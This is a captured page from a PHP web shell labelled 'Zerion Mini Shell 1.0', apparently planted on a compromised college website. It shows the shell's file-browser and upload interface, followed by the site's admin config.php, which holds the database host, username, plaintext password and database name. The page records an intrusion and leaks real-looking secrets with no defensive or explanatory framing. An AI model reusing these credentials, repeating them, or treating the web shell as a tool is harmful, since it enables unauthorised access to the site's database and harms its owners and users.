ok

Mini Shell

Direktori : /proc/thread-self/root/proc/thread-self/root/home/ngwcolle/public_html/admin/includes/
Upload File :
Current File : //proc/thread-self/root/proc/thread-self/root/home/ngwcolle/public_html/admin/includes/config.php

<?php
$servername = "localhost";
$username = "ngwcolle_admin";
$password = "NGWC@aska";
$database = "ngwcolle_ngwc";
//database connection
$con=mysqli_connect("localhost","ngwcolle_admin","NGWC@aska","ngwcolle_ngwc");
if(mysqli_connect_errno()){
echo "Connection Fail".mysqli_connect_error();
}
// Create connection
$mysqli = new mysqli("localhost","ngwcolle_admin","NGWC@aska","ngwcolle_ngwc");

// Check connection
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: " . $mysqli->connect_error;
    exit();
}
try {

  $pdo = new PDO("mysql:host=$servername;dbname=$database", $username, $password);
  $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // set the PDO error mode to exception
   //echo "Connected Successfully";

} catch (PDOException $e) {

  echo "Connection Failed" . $e->getMessage();
}

  ?>

Zerion Mini Shell 1.0